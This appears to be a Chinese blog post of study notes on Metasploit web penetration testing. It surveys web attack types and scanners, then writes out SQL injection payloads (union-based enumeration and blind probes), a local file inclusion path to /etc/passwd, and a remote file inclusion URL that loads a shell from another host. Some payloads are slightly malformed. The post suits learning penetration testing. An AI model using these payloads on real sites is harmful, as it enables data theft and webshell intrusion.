繼續來學習metasploit。。。記好筆記是很重要的,下面開始正文:
二.WEB應用滲透技術
1.WEB應用滲透基礎知識
先介紹WEB應用攻擊的主要類型(大致介紹,具體請自行查詢)
Sql注入攻擊:大致分為 普通注入和盲注
跨站腳本(XSS): 分為存儲型XSS,反射性XSS以及DOM型XSS
跨站偽造請求(CSRF):以XSS方式注入一段腳本,受害者點擊該腳本時,腳本偽造受害者發出請求。
會話認證管理缺陷:驗證身份的功能存在缺陷。
安全誤配置:開發和管理人員的失誤導致存在漏洞。
不安全密碼存儲:密碼以明文形式存在或加密算法過於脆弱。
不安全的對象參考:攻擊者利用WEB系統本身的讀取功能,任意存取文檔,竊取敏感文件。
限制URL訪問失敗:沒有對私有頁面的訪問進行身份認證。
缺乏傳輸層的保護:沒有設置SSL/TLS等保護機制,直接被攻擊者竊取敏感數據。
未驗證的重定向和跳轉:攻擊者通過未驗證重定向頁面誘使受害者點擊,從而竊取受害者敏感數據。
metasploit關於WEB應用滲透攻擊的模塊較少,但是kali滲透系統里有很多優秀的WEB滲透工具,彌補了metasploit的不足。
1.1metasploit的輔助模塊
輔助模塊基本都在 modules/auxiliary/,並且在最新的metasploit中內置了wmap WEB掃描器,允許用戶配置輔助模塊,對網站進行集中掃描。
1.2滲透模塊
滲透模塊分散在module中的多個文件夾下,有針對主流CMS的漏洞,也有針對各種數據庫漏洞的模塊,同時也包含了成功后用來操作的webshell。
metasploit與W3AF,SQLMAP,wXf,XSSF,BeFF等WEB漏洞掃描器均有接口,可以更好的進行探測。
2.WEB應用漏洞掃描探測
2.1.開源WEB應用漏洞掃描工具
Wapiti:對SQL注入的掃描准確度很高
W3AF:綜合很優秀,都有較高的准確度。
Sandcat Free Edition:對XSS跨站漏洞准確度很高
2.2掃描神器W3AF
W3AF分為八類模塊:發現模塊(查找HTTP信息,並探測服務器,數據庫等信息),審計模塊(探測漏洞),搜索模塊(捕獲信息),攻擊模塊 (讀取掃描信息,並試圖通過模塊插件攻擊),輸出模塊(輸出掃描結果),修改模塊(修改信息),入侵模塊(繞過入侵檢測系統),破解模塊(破解需要認證的頁面,支持基本認證機制和表單登陸機制的破解)
具體使用方法不在詳解。
2.3 SQL注入漏洞探測
sqlmap是一款優秀的SQL注入漏洞的掃描工具。具體用法不再詳解。metasploit已經集成了此工具。
2.4 XSS漏洞探測
xsser,xssfuzz等工具,或者使用metasploit集成的W3AF。
2.5 WEB應用程序漏洞探測
wXf是WEB漏洞掃描和攻擊框架,利用metasploit框架的構想。kali中沒有集成這個工具,需自行下載。
3.WEB應用程序滲透測試
3.1 SQL注入分析
在這里進行簡單的講解,具體更高級的內容請自己查詢
普通注入:
http://www.XXX.net/do/plus/view.php?aid=236896'
//看是否存在注入,若’被過濾,則不能判斷。
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,2,3,4,5,6,7--
//這里用--注釋后邊的語句,避免語法錯誤。該語句是用來判斷列數的,若返回錯誤信息,則證明判斷錯誤,繼續加數字進行判斷。
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,9,10 from 表名--
//得到數據庫版本和用戶名。
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(schema_name),10 from information_schema.SCHEMA--
//查詢所有表
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(table_name),10 from information_schema.tables where table_schema=database()--
//查詢表中所有列
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(column_name),10 from information_schema.columns where table_name=列名十六進制--
//查詢列中字段
盲注:這里就只講解字符的猜解的盲注。
http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>1
http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>2
如果第一句沒報錯,第二句報錯了,則證明數據庫名是兩個字符。以此類推。。
http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>97
http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>98
如果第一句沒報錯,第二句報錯了,則證明數據庫名第一個字符的ASCII碼是98,以此類推。。。。
http://www.XXX.net/do/plus/view.php?aid=236896 and (select count(table_name) from information_schema where table_schema=database())>15
這句是獲得數據庫表的個數
接下來都差不多,不在多述。
3.2跨站攻擊實例分析
跨站腳本攻擊框架(XSSF),具體教程請自行查詢。
3.3命令注入實例分析
一般流程都是掃描到某應用或者插件的漏洞,然后去上網找關於該漏洞的利用代碼進行滲透獲取webshell,若能力高超,可以自己編寫利用的代碼或者把利用的代碼自己轉換成metasploit的exploit模塊和payload模塊。具體自行實踐,我能力有限。。。將來水平上來了會出教程。。。
3.4文件包含和文件上傳漏洞
文件包含包括本地文件包含(LFI)和遠程文件包含(RFI)。
http://www.XXX.com/?page=././././etc/passwd
//使用“./”退出當前目錄,多試幾次
http://www.XXX.com/?page=www.ooo.com/shell.php
//shell.php是事先在遠程主機上准備好的shell。
文件上傳漏洞是由於網站沒有經過嚴格的檢查和過濾,可以提交惡意的文件來獲取webshell。
關於繞過上傳請自行查詢。